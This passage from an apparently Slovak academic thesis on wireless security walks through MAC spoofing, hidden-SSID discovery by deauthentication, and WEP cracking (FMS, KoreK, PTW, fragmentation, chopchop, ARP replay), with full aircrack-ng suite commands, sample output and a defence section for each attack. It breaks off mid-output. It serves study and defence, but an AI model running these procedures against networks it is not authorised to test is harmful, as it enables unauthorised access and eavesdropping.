zom je možné MAC adresu zmeniť a má veľkú nevýhodu v tom, že sa nedá aplikovať
pre veľké siete, pretože udržiavanie samotného zoznamu povolených MAC adries je
pre administrátora siete náročné.
Napriek tomu, že MAC adresa je vopred nastavená na fyzickom zariadení, dá sa
jednoduchým spôsobom zmeniť na tú, ktorá je autorizovaná.
Nasledujúcim spôsobom môžeme zistiť MAC adresu autorizovaného klienta a
zmeniť tú našu MAC adresu na tú autorizovanú:
1. Ako prvé si spustíme airmon-ng vytvorí sa nám virtuálne rozhranie „mon0ÿ.
# airmon-ng start wlan0
2. Následne spustíme airdump-ng pre vytvorené rozhranie „mon0ÿ, ktorého
prostredie môžeme vidieť na obr. 6.2 a zistíme si MAC adresu autorizovaného
klienta, ktorý je aktuálne pripojený na AP. Popis k jednotlivým symbolom
na obr. 6.2 nájdeme v tab. 6.4.
# airdump-ng mon0
CH 6 ][ Elapsed: 2 hours 45 mins ][ 2009-12-14 06:37
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:50:7F:A6:19:D8 -53 100 96514 100415 0 6 54 . WEP WEP OPN diplomka
BSSID STATION PWR Rate Lost Packets Probes
00:50:7F:A6:19:D8 00:16:CE:8A:8E:05 -40 0 - 1 0 284 diplomka
Obr. 6.2: Ukážka analyzátora Airodump-ng
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Parameter Popis
CH Číslo kanálu
BSSID MAC adresa AP
PWR Úroveň signálu
RXQ Kvalita signálu meraná podľa celkového percentuálneho
počtu úspešne prijatých paketov za posledných 10 s
Beacons Počet odoslaných rámcov beacon
#Data Počet zachytených dátových paketov. Ak sa používa WEP tak
počet unikátnych IV.
#/s Počet dátových paketov za 1 s, meraných za posledných 10 s.
MB Maximálna prenosová rýchlosť podporovaná AP
ENC Použitý šifrovací algoritmus
CIPHER Typ použitej šifry
AUTH Použitý autentizačný protokol
ESSID SSID
Rate Zobrazuje sa iba ak je nastavený jeden monitorovací kanál
Lost Počet stratených paketov prichádzajúcich od stanice
Packets Počet paketov odoslaných stanicou
Probes Označuje sieť, na ktorú sa stanica pokúša pripojiť pokiaľ
stanica nie je už pripojená
Tab. 6.4: Popis jednotlivých symbolov v Airodump-ng
3. V novom terminále pomocou príkazu ifconfig deaktivujeme rozhranie
wlan0, zmeníme MAC adresu sieťového rozhrania „wlan0ÿ na
00:16:CE:8A:8E:05 a znova aktivujeme rozhranie wlan0.
# ifconfig wlan0 down
# ifconfig wlan0 hw ether 00:16:CE:8A:8E:05
# ifconfig wlan0 up
4. Ešte jednoduchší možný spôsob ako zmeniť MAC adresu nám ponúka
program macchanger, ktorý zjednodušuje celý proces do jediného
nasledovného príkazu.
# macchanger -m 00:16:CE:8A:8E:05 wlan0
6.3.2 Ochrany voči zmene MAC adries
Žiadne neexistujú, keďže jednoduchým príkazom, ktorý bol uvedený v časti 6.3.1 je
možné zmeniť akúkoľvek MAC adresu. Zmena je umožnená predovšetkým tým, že
samotné MAC adresy sa prenášajú v otvorenej forme v hlavičke 802.11 rámcov.
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6.3.3 Odhalenie skrytého SSID
SSID je vlastne formálne označenie bezdrôtovej siete, ktoré je zahrnuté v poli ria-
diacich rámcov. Bezdrôtový klient potrebuje vedieť SSID bezdrôtovej siete, aby sa
k nej mohol pripojiť. Bezdrôtový klient sa môže dozvedieť o SSID od AP, ak je na
ňom zapnuté všesmerové vysielanie SSID. Ak je táto voľba na AP vypnutá, klient
musí poznať SSID danej siete, na ktorú sa chce pripojiť.
Dôležité je poznamenať, že SSID sám o sebe neposkytuje žiadnu bezpečnostnú
ochranu, pretože je vysielaný v nešifrovanej podobe a môže byť detekovatelný pa-
sívnymi snifermi ako je napr. Kismet.
Predtým, ako sa klient chce napojiť na bezdrôtovú sieť, musí poznať jej SSID,
aby sa mohol autentizovať s AP. Keď klient nepozná SSID siete, môže ho získať
dvoma spôsobmi:
• Pasívne, klient odpočúva „beaconÿ rámce.
• Aktívne, klient odošle „probe requestÿ a AP odpovie s „probe responseÿ.
Rámce beacon a probe response odoslané AP sú veľmi podobné. Obsahujú in-
formácie o AP, ako napr. SSID, podporované rýchlosti, výrobcu AP . . .
Keď je klient autentizovaný s AP a prebieha prenos dát, tak nie je možné vidieť
SSID, pretože SSID obsahujú iba riadiace rámce. V takomto prípade sa dá použiť
aircrack-ng na vynútenie deautentizácie klienta, ktorý sa následne automaticky
napojí späť a v tomto momente budú použité riadiace rámce, ktoré obsahujú SSID.
Kismet, ktorý pasívne odpočúva „vzdušný priestorÿ v takomto momente už je obo-
známený s SSID.
V prípade, že žiadny klient nie je pripojený na AP, nie je možné vidieť SSID.
Vypnuté všesmerové vysielanie SSID má i svoje výhody a to hlavne v prípade ak nie-
kto robí wardriving1. Avšak je potrebné si uvedomiť, že v takomto prípade útočník
nebude poznať iba SSID, ale aj všetky ostatné informácie o sieti ako je typ použi-
tého šifrovania, podporované prenosové rýchlosti atď. a bude vedieť kvôli rámcom
beacon i probe response, ktoré odoslal AP. Práve z toho dôvodu si myslím, že je
vhodné vypnúť túto možnosť a tak docieliť aspoň malú bezpečnosť v domácnostiach
a malých firmách.
1Pri tejto činnosti niekto jazdí s autom a s bezdrôtovým sniferom pripojeným na GPS
(napr. Kismet), ktorým mapuje bezdrôtové siete.
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6.3.4 Deautentizačný útok
Predtým ako začneme s útokom je potrebné vypnúť na AP všesmerové vysielanie
SSID. Tento útok realizujeme nasledovne:
1. Analyzujeme bezdrôtové siete v okolí. Vyberieme si jednu, ktorú sme si pri-
pravili na simulovaný útok s prázdnou hodnotou SSID. Zapamätáme si MAC
adresu siete a kanál, na ktorom pracuje.
# iwlist wlan0 scan
2. Prepneme bezdrôtovú kartu do monitorovacieho režimu pomocou airmon-ng,
ktorý nám vytvorí nové rozhranie „mon0ÿ.
# airmon-ng start wlan0
3. Začneme monitorovať danú sieť s airodump-ng, u ktorého si špecifikujeme
MAC adresu danej siete a používaný kanál.
# airodump-ng -d 00:50:7F:A6:19:D8 -c 6 mon0
Parameter Popis
-d Zobrazí iba tie siete, ktoré odpovedajú zadanému BSSID
-c Nastaví číslo kanálu
4. Vytvoríme si pomocou aireplay-ng deautentizačný rámec, ktorý následne
použijeme na deautentizáciu klienta. V terminále, v ktorom máme spustený
airodump-ng zachytíme SSID v momente, keď sa klient opakovane autentizuje.
# aireplay-ng -0 1 -a 00:50:7F:A6:19:D8 -c 00:16:CE:8A:8E:05 mon0
04:34:23 Waiting for beacon frame (BSSID: 00:50:7F:A6:19:D8) on channel 6
04:34:24 Sending 64 directed DeAuth. STMAC: [00:16:CE:8A:8E:05] [ 2| 5 ACKs]
Parameter Popis
-0 Odoslanie deautentizačného rámca
-a Nastaví cieľovú MAC adresu AP
-c Nastaví cieľovú MAC adresu klienta
Programy ako Kismet dokážu takúto vynútenú deautentizáciu ľahko de-
tekovať a vypísať do stavového okna.
DEAUTHFLOOD Deauthenticate/Disassociate flood on 00:50:7F:A6:19:D8
6.3.5 Ochrana voči odhaleniu skrytého SSID
Neexistuje žiadna, pretože SSID nikdy nebolo určené pre zabezpečenie siete. Ako
sme zistili v predchádzajúcej časti 6.3.3 detekcia takto skrytého SSID sa dá ľahko
zistiť pasívnym alebo aktívnym spôsobom.
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6.4 Útoky na WEP
V tejto časti budeme testovať efektívnosť dvoch najpoužívanejších metód v lámaní
hesiel a to PTW a FMS/KoreK. Pre obe metódy sme testovali odolnosť náhodne
vygenerovaných 64bitových a 128bitových WEP kľúčov, ktoré sme si vygenerovali
pomocou programu pwgen. Tento program umožňuje vygenerovať ľahko zapamäta-
teľné heslá i úplne náhodné heslá, ktoré sa veľmi ťažko pamätajú. Pri úplne ná-
hodných heslách narastá bezpečnostné riziko, pretože dané vygenerované heslo si
užívateľ takmer isto niekam zaznamená, preto tieto heslá nie sú veľmi vhodné pre
ľudí.
6.4.1 Slabiny WEP
Kryptografické podrobnosti RC4
Opätovné použitie prúdového kľúča je veľká slabosť akéhokoľvek kryptosystému zalo-
ženého na princípe prúdovej šifry. Keď je rámec zašifrovaný s rovnakým RC4 prúdo-
vým kľúčom, tak funkcia XOR pre dva zašifrované pakety je totožná s funkciou XOR
pre dva priame texty paketov. Analyzovaním rozdielov dvoch prúdov v kombinácii
so štruktúrou tela rámca, môže útočník zistiť obsah správy rámca. Na zamedze-
nie opätovného použitia prúdového kľúča, WEP používa IV na šifrovanie rôznych
paketov s rôznymi RC4 kľúčmi. Avšak IV je súčasťou hlavičky paketu a nie je šifro-
vaný. Jedným z hlavných cieľov útočníka je vyhľadávanie paketov, ktoré sú šifrované
s rovnakým RC4 kľúčom.
WEP zahŕňa kontrolu integrity, ale používa algoritmus CRC. CRC dokáže za-
chytiť s vysokou pravdepodobnosťou zmenu jediného bitu, ale nie je kryptograficky
bezpečný. Kryptograficky bezpečné algoritmy kontroly integrity sú založené na ha-
šovacích funkciách, ktoré sa nedajú predvídať. Pri použití nepredvídateľných funkcií,
ak útočník zmení čo len jeden bit rámca, kontrolný súčet sa zmení do nepredvída-
teľnej podoby. Výpočet CRC je priamočiara matematika a je jednoduché predvídať,
ako zmena jedného bit ovplyvní výsledok výpočtu CRC.
Slabé miesta v návrhu
1. Potrebné je všade ručne nastaviť tajné kľúče, ktoré zdieľajú všetky pripojené
stanice.
2. Klasický WEP umožňuje používať iba 40bitový tajný kľúč. Podľa expertov na
bezpečnosť by mali dôležité dáta byť chránené aspoň so 128bitovým tajným
kľúčom. Následne po niekoľkých rokoch, bol tento tajný kľúč rozšírený na
104bitový.
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3. Pri opakovanom použití prúdového kľúča sú prúdové šifry zraniteľné voči ana-
lýze. Pokiaľ dva rámce zdieľajú rovnaký IV, je viac než isté, že používajú
rovnaký tajný kľúč a prúdový kľúč. Tento problém môže byť ešte horší ak
je implementovaný slabý algoritmus na výber náhodného IV. Pri 24 bitovom
IV existuje 224 = 16 777 216 možných kombinácii, takže pri sietiach so silnou
prevádzkou sa hodnota IV môže opakovane objaviť už po pár hodinách.[5]
4. Nepravidelná zmena kľúčov umožňuje útočníkom vytvoriť tzv. „dešifrovací
slovníkÿ pozostávajúci z veľkého množstva rámcov, ktoré sú zašifrované po-
mocou rovnakého prúdového kľúča. Aj keď tajný kľúč nie je odhalený, čím
viac rámcov sa objaví s rovnakým IV, tým viac informácii je možné získať
o nezašifrovaných rámcoch.
5. WEP používa algoritmus CRC na kontrolu integrity. Aj keď samotná hodnota
kontrolného súčtu je zašifrovaná v RC4 prúdovom kľúči, CRC algoritmus nie
je kryptograficky bezpečný. Pri použití slabej kontroly integrity nič nebráni
útočníkovi transparentne meniť rámce.2
6. AP má výhodnú pozíciu pri dešifrovaní rámcov, čo môže zneužiť útočník tým,
že si opätovne vyžiada od AP odoslanie zašifrovaných rámcov. Rámce prijaté
AP by tak boli dešifrované a odoslané útočníkovi. Ak útočník používa WEP,
tak by AP ochotne zašifroval rámec pomocou kľúča útočníka.
7. Z obr. 3.4 môžeme vidieť, že pri autentizácii so zdieľaným kľúčom AP odošle
stanici výzvu, ktorú protokolom WEP zašifruje a odošle ju späť AP. Tým,
že sa na šifrovanie výzvy použije WEP, útočník spozná dva prvky protokolu
WEP a to správu obsahujúcu výzvu a prúdovú šifru. Ak si označíme správu
obsahujúcu výzvu ako P, prúdový kľúč ako K a prúdovú šifru ako C môžeme
vyjadriť pomocou operácie XOR, že
P ⊕K = C.
Keďže útočník už pozná výzvu P a prúdovú šifru C tak si môže jednoducho
vyjadriť prúdový kľúč K ako
C ⊕ P = (P ⊕K)⊕ P = (P ⊕ P )⊕K = K.
V tomto momente, keď už útočník pozná prúdový kľúč je schopný injekciou
odoslať do siete akékoľvek zašifrované pakety bez znalosti kľúča.
2Štandard 802.11 vyžaduje opätovné vyslanie rámca v prípade jeho straty. Útočník si môže
opätovne vyžiadať vyslanie rámca a následne ho modifikovať, aby bol prijatý ako pravý.
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6.4.2 FMS
FMS útok na základe schopnosti predpokladu dokáže získať prvý bajt zašifrovaných
dát. WEP chráni 802.11 rámce a telo rámca 802.11, ktoré začína SNAP hlavičkou.
Takže hodnota otvoreného textu prvého bajtu bude známa ako 0xAA. Pretože prvý
otvorený textový bajt je známy, tak prvý bajt prúdového kľúča môže byť jednoducho
odvodený pomocou jednoduchej operácie XOR s prvým zašifrovaným bajtom.
Tento útok sa zameriava na triedu slabých kľúčov, ktoré sú v tvare (B + 3) :
FF : N . Každý slabý IV sa použije na útok voči konkrétnemu bajtu tajnej časti
RC4 kľúča. Bajty kľúča sú očíslované od nuly. Takže slabému IV prináleží nulový
bajt tajného kľúča, ktorý má tvar 3 : FF : N . Druhý bajt musí byť 0xFF. Potrebná
je znalosť tretieho bajtu kľúča, ale nemusí to byť žiadna konkrétna hodnota.
Dĺžka klasického WEP kľúča je 40 bitov alebo 5 bajtov, očíslovaných od 0 až
po 4. Slabé IV na sieti chránené protokolom WEP musia mať prvý bajt, ktorý je
v rozsahu 3 (B = 0) až 7 (B =4˙) a druhý bajt 255. Tretí bajt musí byť významný,
ale nie je obmedzený na žiadnu konkrétnu hodnotu. V statických WEP sietiach je
5× 1× 256 = 1280 slabých IV tohto typu. Ďalšími objavenými triedami slabých IV
bola táto hodnota na 9 000, čo tvorilo tak 5 % z celkového počtu IV.
Každý slabý IV odhalí informáciu o bajte kľúča. Aplikovaním teórie pravdepo-
dobnosti Fluhrer, Mantin a Shamir odhaduje, že na každý bajt kľúča je potrebných
približne 60 slabých IV. Útok sa zrýchľuje každým ďalším odhaleným bajtom kľúča.
Odhad prvého bajtu kľúča napomáha k odhadu ďalšieho atď. Úspešnosť útoku stúpa
lineárne po dobu útoku. Zdvojnásobením veľkosti kľúča sa iba zdvojnásobí doba
útoku.[5]
6.4.3 Ochrana voči FMS
Celý útok FMS je založený na zbieraní dostatočného množstva dát šifrovaných sla-
bým kľúčom. V súčasnosti už väčšina výrobcov má vo svojich zariadeniach imple-
mentované vylúčenie slabých IV, v ktorých sa určité sekvencie IV preskakujú a slabé
kľúče sa tak nevyskytujú. Vylúčiť slabé IV je možné aj úpravou ovládačov k bez-
drôtovej sieťovej karte.
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6.4.4 KoreK
Tento útok charakterizuje sedemnásť rôznych útokov voči WEP, ktoré môžeme roz-
deliť na:
1. získanie kľúča na základe prvého bajtu prúdového kľúča PRNG.
2. Získanie kľúča na základe prvého a druhého bajtu prúdového kľúča PRNG.
3. Útoky pozostávajúce z reverzných metód, ktoré redukujú vyhľadávací priestor.
KoreK je veľmi podobný FMS útoku. Rozdiel v týchto dvoch útokoch je ten, že
KoreK útok je založený na výpočte prvých dvoch bajtov prúdového kľúča oproti
FMS útoku, ktorý používa iba prvý bajt.[12]
6.4.5 Ochrana voči KoreK
Tento útok už nie je závislý na slabých IV ako predchádzajúci FMS, a preto ich
vylúčenie nepostačuje na ochranu. Z toho dôvodu je vhodnejšie používať protokol
TKIP alebo CCMP.
6.4.6 PTW
Podľa technickej správy [10] tento útok dokáže získať s 50 % pravdepodobnosťou
kľúč s počtom rámcov menším ako 40 000. Pri zachytení 85 000 rámcov sa pravde-
podobnosť zvyšuje na 95 %.
Dešifrovaním jedného paketu pomocou Chopchop útoku alebo fragmentačného
útoku, môže byť tento paket modifikovaný a následne reinjekciou odoslaný do siete
na vytvorenie dátového prenosu. Keďže PTW útok je menej závislý na počte slabých
kľúčov, tak pri AP s vyššou réžiou môžeme obdržať požadované pakety do jednej
minúty. Na obr. 6.6 môžeme vidieť úspešnú obnovu hesla týmto útokom.
6.4.7 Ochrana voči PTW
Pri tomto útoku sa výrazne skracuje potrebný počet odchytených paketov oproti
útoku KoreK viď obr. 6.7, a preto najvhodnejší je prechod na protokol TKIP alebo
CCMP.
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6.4.8 Fragmentačný útok
Tento útok umožňuje získať veľkú časť prúdového kľúča vo veľmi krátkom čase a to
odchytením iba jedného paketu. Získaný prúdový kľúč je možné použiť pre injekciu
dát do siete. IEEE 802.11 umožňuje staniciam rozdeliť jeden paket maximálne na
16 fragmentov a každý z nich je šifrovaný zvlášť. Ak útočník zachytí prúdový kľúč
dĺžky m môže odosielať pakety s ((m− 4) · 16) = 16 ·m− 64 bajtov akýchkoľvek dát
(nezapočítavá sa dĺžka ICV) a získať prúdový kľúč dĺžky 16 ·m − 60 bajtov tak,že
ich rozdelí do 16 fragmentov.[7]
6.4.9 Ochrana voči fragmentačnému útoku
Výrazne pomáha zahadzovanie krátkych fragmentov u AP a staníc, pokiaľ to na-
stavenie zariadenia umožňuje. Avšak tak ako u prechádzajúcich útokov na WEP je
vhodnejšie používať protokol TKIP alebo CCMP.
6.4.10 Chopchop útok
Daný útok je možné efektívne používať s paketmi, u ktorých poznáme veľkú časť
dát napr. ARP paket. Tento útok umožňuje útočníkovi dešifrovať paket bez znalosti
kľúča. Chopchop je prakticky možné použiť k dešifrovaniu paketu, jeho modifikácii
a k jeho spätnej injekcii do siete pre generovanie dát.
Chopchop orezáva posledný jeden bajt šifrovaného paketu. Cieľom je zistiť hod-
notu tohto bajtu a to spätnou injekciou orezaného (šifrovaného) paketu do siete.
Avšak paket by bol v tomto momente neplatný kvôli ICV, ale vďaka XORu tohto
paketu s určitou hodnotou Mod sa paket stane znova platným. Táto hodnota závisí
iba na orezanom bajte, takže kombináciou všetkých permutácii pre tento bajt od 0
až po 255 (priemerne 128) časom získame správnu hodnotu.
6.4.11 Ochrana voči Chopchop útoku
Niektoré AP sú voči tomuto útoku odolnejšie, vďaka možnosti zahadzovania rámcov
kratších ako 60 bajtov. Avšak táto metóda len predĺži celkový čas získania kľúča,
pretože je možné dešifrovať aj väčšie rámce. Pre tento útok tiež platí, že je vhodnejšie
používať protokoly TKIP a CCMP.
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6.4.12 Injekcia paketov
Zo znalosti prúdového kľúča si útočník môže vytvoriť nový priamy text a pomocou
prúdového kľúča si vytvoriť falošnú zašifrovanú správu. Vytvorený paket si tak môže
odoslať do siete a príjemca si ho dešifruje ako platné dáta. Ak si označíme priamy
text obsahujúci výzvu ako P, prúdový kľúč ako K, otvorený text správy ako S,
prúdovú šifru ako C a tajný kľúč ako TK, môžeme vyjadriť operáciou XOR, že
P = S ‖ ICV (S)
K = RC4(IV ‖TK)
Mod = S ⊕ S ′
C = WEP (S ‖ ICV (S))
= (S ‖ ICV (S))⊕RC4(IV ‖TK)
= P ⊕K
C ′ = (S ′ ‖ ICV (S ′))⊕RC4(IV ‖TK)
= (S ‖ ICV (S))⊕RC4(IV ‖K)⊕ (Mod ‖ ICV (Mod))
= C ⊕ (Mod ‖ ICV (Mod))
kde S’ je modifikovaný otvorený text správy.
6.4.13 Ochrana proti injekcii
Tak ako s riadením prístupu, tak ani s ochranou proti útokom opakovaním sa v štan-
darde IEEE 802.11 nepočítalo.[18] To znamená, že hocijaký zašifrovaný paket bude
platný pre konkrétny WEP kľúč po neobmedzenú dobu. V zabezpečenom systéme by
sa malo použiť sekvenčné počítadlo na ochranu proti útokom opakovaním. V takom
prípade by AP zahadzoval staré pakety, respektíve pakety s nižšími sekvenčnými
číslami. Avšak toto nie je súčasťou WEP.
Napriek tomu, že ochrana proti útokom opakovaním nie je súčasťou protokolu
WEP, táto ochrana môže byť implementovaná na vyšších vrstvách. Sekvenčné číslo-
vanie používa napr. TCP (Protokol TCP – Transmission Control Protocol).[19] Čo
znamená, že ak TCP paket, ktorý obsahuje dôležitú informáciu je opakovane odo-
slaný do siete, tak vrstva TCP ho zahodí, pretože jeho sekvenčné číslo je zastaralé.
Avšak to nie je dôvod na to, aby sa upustilo od ochrán proti útoku opakovaním na
nižších vrstvách. Toto je tiež dôvod, prečo TKIP (podrobnejšie v časti 5.1.3) zavádza
sekvenčné počítadlo na ochranu proti útoku opakovaním.
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6.4.14 Útoky s pripojeným klientom
V takomto prípade budeme postupovať nasledovne:
1. Analyzujeme bezdrôtové siete v okolí. Vyberieme si jednu, ktorú sme si pripra-
vili na simuláciu útoku. Zapamätáme si MAC adresu siete a kanál, na ktorom
pracuje.
# iwlist wlan0 scan
2. Prepneme bezdrôtovú kartu do monitorovacieho režimu pomocou airmon-ng
s požadovaným kanálom, ktorý nám vytvorí nové virtuálne rozhranie „mon0ÿ.
# airmon-ng start wlan0 6
3. Zistíme si našu vzdialenosť od AP aplikáciou aireplay-ng, tento krok je veľmi
dôležitý, aby sme zaistili, že naša bezdrôtová karta je v dostatočnom dosahu
na to, aby umožňovala injekciu paketov.
# aireplay-ng -9 -e diplomka -a 00:50:7F:A6:19:D8 mon0
Parameter Popis
-9 Otestuje kvalitu signálu a možnú injekciu
-e Nastaví cieľovú SSID
-a Nastaví cieľovú MAC adresu AP
4. Začneme monitorovať danú sieť s aplikáciou airodump-ng, špecifikujeme si
BSSID danej siete, používaný kanál a zapneme si možnosť ukladania IV do
súboru pakety.
# airodump-ng -d 00:50:7F:A6:19:D8 -c 6 -w pakety mon0
Parameter Popis
-d Zobrazí iba tie siete, ktoré odpovedajú zadanému BSSID
-c Nastaví číslo kanálu
-w Názov súboru pre ukladanie zachytených paketov
5. AP prijme paket iba v takom prípade, ak je MAC adresa odosielateľa aso-
ciovaná. Pokiaľ MAC adresa odosielateľa nie je asociovaná, tak AP ignoruje
paket a odošle rámec „DeAuthenticationÿ v nešifrovanej podobe. V takomto
prípade nevzniknú žiadne nové IV, pretože AP ignoruje všetky injekčné pa-
kety. Jedným z hlavných dôvodov, prečo injekcia zvyčajne zlyhá, je použitie
MAC adresy neasociovaného klienta u AP. Práve preto v našom prípade použi-
jeme falošnú autentizáciu pomocou aplikácie aireplay-ng na asociáciu s AP.
Ukážku priebehu falošnej autentizácie môžeme vidieť na obr. 6.3
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# aireplay-ng -1 0 -e diplomka -a 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
Parameter Popis
-1 Autentizačný útok
-e Nastaví cieľovú SSID AP
-a Nastaví cieľovú MAC adresu AP
-h Nastaví zdrojovú MAC adresu
09:22:33 Waiting for beacon frame (BSSID: 00:50:7F:A6:19:D8) on channel 6
09:22:34 Sending Authentication Request (Open System) [ACK]
09:22:34 Authentication successful
09:22:34 Sending Association Request [ACK]
09:22:34 Association successful :-) (AID: 1)
Obr. 6.3: Ukážka priebehu falošnej autentizácie
6. V tomto kroku je potrebné nastaviť aplikáciu aireplay-ng do režimu, aby
počúvala na žiadosti ARP a následne použila na tieto pakety injekčnú metódu
a odoslala ich späť do siete.
# aireplay-ng -3 -e diplomka -b 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
Parameter Popis
-3 Opakovaný útok ARP žiadostí
-e Nastaví cieľovú SSID
-b Nastaví cieľovú MAC adresu AP
-h Nastaví zdrojovú MAC adresu
7. V tomto momente už môžeme spustiť aplikáciu na lámanie hesiel aircrack-ng.
Keďže budeme skúšať obe metódy PTW i FMS/KoreK musíme aplikácii ozná-
miť, ktorý z dvoch útokov má byť práve použitý a to spravíme vhodne vybra-
ným parametrom. Pri metóde PTW použijeme parameter „-zÿ a pri metóde
FMS/KoreK parameter „-Kÿ. Metóda PTW pracuje úspešne iba s paketmi
ARP (žiadosti a odpovede), z toho dôvodu je potrebné zachytávať celý paket
a nielen IV. Príkaz realizujeme nasledovne.
# aircrack-ng -z pakety-01.cap
# aircrack-ng -K pakety-01.cap
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6.4.15 Útoky bez pripojeného klienta
V takomto prípade postupujeme rovnakým spôsobom ako v predchádzajúcom prí-
pade v časti 6.4.14 až do 5. kroku, takže tu budeme pokračovať v 6. kroku nasledovne:
6. Na získanie PRGA (Algoritmus pseudonáhodného generátora – Pseudorandom
Generation Algorithm) použijeme fragmentačný útok a útok chopchop. PRGA
nie je WEP kľúč a nemôže byť použitý na dešifrovanie paketov. Avšak môžeme
ho použiť na vytvorenie nových paketov pre injekciu.
Najskôr použijeme fragmentačný útok. Použijeme k tomu znova aplikáciu
aireplay-ng. Keď paket od AP dorazí až k nám, aplikácia sa nás opýta, či
má použiť daný paket, ktorý sme obdržali, my mu odpovieme „yÿ, teda áno.
K úspešnému ukončeniu aplikácie je potrebné vyskúšať viac paketov. Ukážku
priebehu fragmentačného útoku môžeme vidieť na obr. 6.4.
# aireplay-ng -5 -e diplomka -b 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
Parameter Popis
-5 Fragmentačný útok
-e Nastaví cieľovú SSID
-b Nastaví cieľovú MAC adresu AP
-h Nastaví zdrojovú MAC adresu
Ako druhý útok vyskúšame útok chopchop. Aplikácia sa nás opätovne
bude pýtať, či má použiť daný prijatý paket. Opäť odpovieme „yÿ, teda áno.
Názorný priebeh útoku môžeme vidieť na obr. 6.5.
# aireplay-ng -4 -e diplomka -b 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
Parameter Popis
-4 Chopchop útok
-e Nastaví cieľovú SSID
-b Nastaví cieľovú MAC adresu AP
-h Nastaví zdrojovú MAC adresu
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# aireplay-ng -5 -e diplomka -b 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
Found BSSID "00:50:7F:A6:19:D8" to given ESSID "diplomka".
20:42:12 Waiting for a data packet...
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:50:7F:A6:19:D8
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0E:9B:B9:79:F1
0x0000: 0841 3a01 0050 7fa6 19d8 000e 9bb9 79f1 .A:..P.......y.
0x0010: ffff ffff ffff a0dd 4bc8 5540 72e1 64c4 ........K.U@r.d.
0x0020: a298 c72c cb74 25e7 9249 0ecd 032f b313 ...,.t%..I.../..
0x0030: 601a 09d1 f846 4f0b a627 3854 46f5 2b40 ‘....FO..’8TF.+@
0x0040: 8899 e51a ....
Use this packet ? y
Saving chosen packet in replay src-1213-204212.cap
20:42:14 Data packet found!
20:42:14 Sending fragmented packet
...
20:42:19 Trying a LLC NULL packet
20:42:19 Sending fragmented packet
20:42:58 Got RELAYED packet!!
20:42:58 Trying to get 384 bytes of a keystream
20:42:59 Not enough acks, repeating...
...
20:43:01 Trying to get 384 bytes of a keystream
20:43:01 Trying a LLC NULL packet
20:43:02 Not enough acks, repeating...
20:43:02 Trying to get 384 bytes of a keystream
20:43:02 Trying a LLC NULL packet
20:43:40 Got RELAYED packet!!
20:43:40 Trying to get 1500 bytes of a keystream
20:43:42 No answer, repeating...
...
20:43:55 Trying to get 1500 bytes of a keystream
20:43:57 No answer, repeating...
Still nothing, quitting with 384 bytes? [y/n]
y
Saving keystream in fragment-1213-204355.xor
Now you can build a packet with packetforge-ng out of that 408 bytes keystream
Obr. 6.4: Ukážka fragmentačného útoku
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# aireplay-ng -4 -e diplomka -b 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 mon0
19:09:51 Waiting for beacon frame (ESSID: diplomka) on channel 6
Found BSSID "00:50:7F:A6:19:D8" to given ESSID "diplomka".
Read 81 packets...
Size: 80, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:50:7F:A6:19:D8
Dest. MAC = 00:50:7F:A6:19:D8
Source MAC = 00:16:CE:8A:8E:05
0x0000: 0841 2c00 0050 7fa6 19d8 0016 ce8a 8e05 .A,..P.........
0x0010: 0050 7fa6 19d8 604e 1662 0040 1a6d 2eeb .P...‘N.b.@.m..
0x0020: 2807 7eb6 1743 8d10 7ea4 9781 80f2 a4ee (.~..C..~.......
0x0030: 5e4b 16df 157e 6242 02b6 7700 fe5e 1329 K^...~bB..w...^)
0x0040: e208 65b8 ef1c 53df 201d e755 8897 ced1 ..e...S. ..U....
Use this packet ? y
Saving chosen packet in replay src-1213-190955.cap
Offset 79 ( 0% done) | xor = 5F | pt = 8E | 1509 frames written in 25654ms
Offset 78 ( 2% done) | xor = 15 | pt = DB | 5640 frames written in 95882ms
...
Offset 35 (95% done) | xor = B6 | pt = 00 | 6968 frames written in 118461ms
Offset 34 (97% done) | xor = 76 | pt = 08 | 5468 frames written in 92958ms
Saving plaintext in replay dec-1213-194926.cap
Saving keystream in replay dec-1213-194926.xor
Completed in 2368s (0.02 bytes/s)
Obr. 6.5: Ukážka Chopchop útoku
7. Nezáleží, ktorý útok úspešne objavil PRGA, pretože obidva útoky sú si rovné.
PRGA sa uloží do súborov končiacich s príponou „xorÿ. Následne môžeme
použiť tento získaný PRGA na vygenerovanie paketu pre injekciu. Vygeneru-
jeme si ARP paket, ktorý neskôr použijeme pre injekciu. Cieľom je, aby AP
opakovane vysielal všesmerovým vysielaním injekčný ARP paket. Keď AP opa-
kovane vyšle všesmerovo tento nami vygenerovaný paket, obdržíme nový IV.
Všetky tieto nové IV budú následne použité na prelomenie WEP kľúča. Avšak
najskôr si aplikáciou packetforge-ng vygenerujeme ARP paket pre injekciu.
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# packetforge-ng -0 -a 00:50:7F:A6:19:D8 -h 00:0E:9B:B9:79:F1 \
-k 255.255.255.255 -l 255.255.255.255 -y replay dec-1213-084617.xor \
-w arp-request.cap
Parameter Popis
-0 Zostaví ARP paket
-a Nastaví MAC adresu AP
-h Nastaví zdrojovú MAC adresu
-k Nastaví zdrojovú IP adresu
-l Nastaví cieľovú IP adresu
-y Načíta PRGA zo súboru
-w Uloží paket do súboru
8. Pomocou aplikácie aireplay-ng si načítame náš vygenerovaný paket.
# aireplay-ng -2 -r arp-request.cap mon0
Parameter Popis
-2 Použije nami vytvorený ARP paket
-r Načíta pakety zo vstupného súboru
9. Posledným krokom je spustenie aplikácie aircrack-ng na lámanie hesiel. Opäť
použijeme obidve metódy PTW a FMS/KoreK, aby sme ich mohli porovnať.
Na obr. 6.6 môžeme vidieť úspešne prelomené heslo metódou PTW.
# aircrack-ng -z pakety-01.cap
# aircrack-ng -K pakety-01.cap
[00:00:18] Tested 48308 keys (got 12076 IVs)
KB depth byte(vote)
0 7/ 10 08(15872) 01(15616) 50(15616) 5B(15616) B1(15616) B8(15616)
1 5/ 16 68(16128) CF(16128) 4B(15872) 0C(15616) E1(15360) 48(15104)
